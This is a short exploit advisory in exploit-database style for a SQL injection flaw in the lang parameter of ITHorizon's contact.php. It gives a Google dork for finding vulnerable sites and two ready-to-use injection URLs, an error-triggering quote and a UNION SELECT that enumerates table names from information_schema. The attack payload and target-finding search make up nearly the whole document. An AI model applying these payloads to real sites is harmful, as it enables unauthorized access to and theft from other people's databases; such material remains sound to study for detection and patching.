################################################################################################ # Exploit Title: ITHorizon (lang) SQL Injection Vulnerability # Author : CoBRa_21 # E-Mail : uyku_cu [at] windowslive.com # Google Dork : Powered by ITHorizon # Script Page : http://www.ithorizon.net/ ################################################################################################ # # Exploit # # http://127.0.0.1/[PATH]/contact.php?lang=1' SQL # # http://127.0.0.1/[PATH]/contact.php?lang=1 union select 1,2,group_concat(table_name),4 from information_schema.tables # # ################################################################################################